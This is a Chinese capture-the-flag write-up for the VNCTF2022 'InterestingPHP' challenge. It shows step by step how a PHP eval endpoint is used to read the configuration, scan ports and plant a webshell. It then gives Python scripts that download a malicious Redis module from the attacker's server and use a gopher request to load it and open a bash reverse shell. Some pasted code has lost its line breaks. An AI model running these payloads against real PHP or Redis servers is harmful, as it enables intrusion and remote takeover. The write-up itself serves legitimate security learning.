[VNCTF2022]InterestingPHP复现

admin

140350
文章

117
评论

2022年5月3日00:47:46评论32 views字数 4522阅读15分4秒阅读模式

[VNCTF2022]InterestingPHP复现

本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID：H3h3QAQ

题目打开只有简单的源码：

尝试看一下phpinfo发现被ban了，不过不要紧，我们还有其他的方法可以获取配置信息。

比如ini_get_all()

该函数可以来读取php相关的配置信息，例如disable_functions/disable_class/open_basedir等信息。

我们来构造一下，查看一下相关的配置信息

/?exp=var_dump(ini_get_all());

可以看到disable_functions/disable_class/open_basedir这些方法都被ban了，但是scandir()和file_put_contents()等都没被ban，这是非常重要的信息，我们可以利用scandir()先看一下当前目录有无其他东西。

/?exp=var_dump(scandir('/var/www/html'));

发现了secret.rdb。

能够提取出一串字符串：

ye_w4nt_a_gir1fri3nd

高度怀疑此处是redis的密码，但是redis并不在默认端口6379，此处陷入了僵局。

但是我们可以扫一下端口（参照WMCTF2021MakePHPGreatAgainAndAgain），利用如下exp配合file_put_contents()将exp写入服务器，再触发：

//此处我用的官方wp的exp脚本/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));POST:a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

可以看到两个端口80和8888存活。

利用get_loaded_extensions()查看所有编译并加载的模块，发现了redis。

也就是说，可以利用redis module load rce。

https://xz.aliyun.com/t/5665#toc-13

这里按照之前比赛的经验，我想要利用蚁剑的redis插件操作redis，这样会方便很多。

我们来写入一个webshell。

?exp=eval(file_put_contents("shell.php",base64_decode($_POST['a']))); POST：a=PD9waHAKZXZhbCgkX1BPU1RbMV0pOw==

尝试用蚁剑来操作redis失败。

这里我们可以抓个包看看怎么回事，把蚁剑的流量代理到bp上。

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.2877aca83bea";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3606"."f25bf";echo @asenc($output);echo "a5"."256";}ob_start();try{$cmd=base64_decode("KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K");$conn=@stream_socket_client("tcp://127.0.0.1:8888", $errno, $errstr, $timeout=30);if(!$conn){echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ=";}else{@fwrite($conn,$cmd,strlen($cmd));$resp=@fread($conn, 8196);@stream_set_blocking($conn,0);while($buf=@fread($conn,8196)){$resp.=$buf;}stream_set_blocking($conn, 1);echo base64_encode($resp);@stream_socket_shutdown($conn,STREAM_SHUT_RDWR);@fclose($conn);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

可以看到stream_socket_client是蚁剑连接redis的方法，但是该方法在disable_functions中，所以此路不通了。

这时候可以利用file_put_contents写so文件，再利用gopher协议RCE然后反弹shell，想比于直接redis交互，就是麻烦了一点。

把so文件放在你的vps上，然后用python开一个http服务，然后利用如下exp来写入靶机中。

file_put_contents写so文件：

import requests url = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type": "application/x-www-form-urlencoded"}pay = "http://ip/exp.so"payload = '''      function Curl($url) {            $ch = curl_init();            curl_setopt($ch, CURLOPT_URL, $url);            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );            $result = curl_exec($ch);             curl_close($ch);            file_put_contents("exp.so",$result);      }       Curl("''' + pay + '''");'''.strip() data = {    0: payload}r = requests.post(url, data, headers=headers).textprint(r)

可以看到vps这边有一个记录：

此时so文件写入成功，接下来进行RCE反弹shell。

exp：

import requestsfrom urllib import parse  url = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type":"application/x-www-form-urlencoded"} pay="""auth ye_w4nt_a_gir1fri3ndmodule load ./exp.sosystem.exec 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'quit""".replace('n','rn') payload = '''      function Curl($url) {            $ch = curl_init();            curl_setopt($ch, CURLOPT_URL, $url);            curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );            $result = curl_exec($ch);            curl_close($ch);            if($result!=''){            echo $result;            }         }        Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''");        ''' data = {    0:payload} r = requests.post(url,data=data,headers=headers).textprint(r)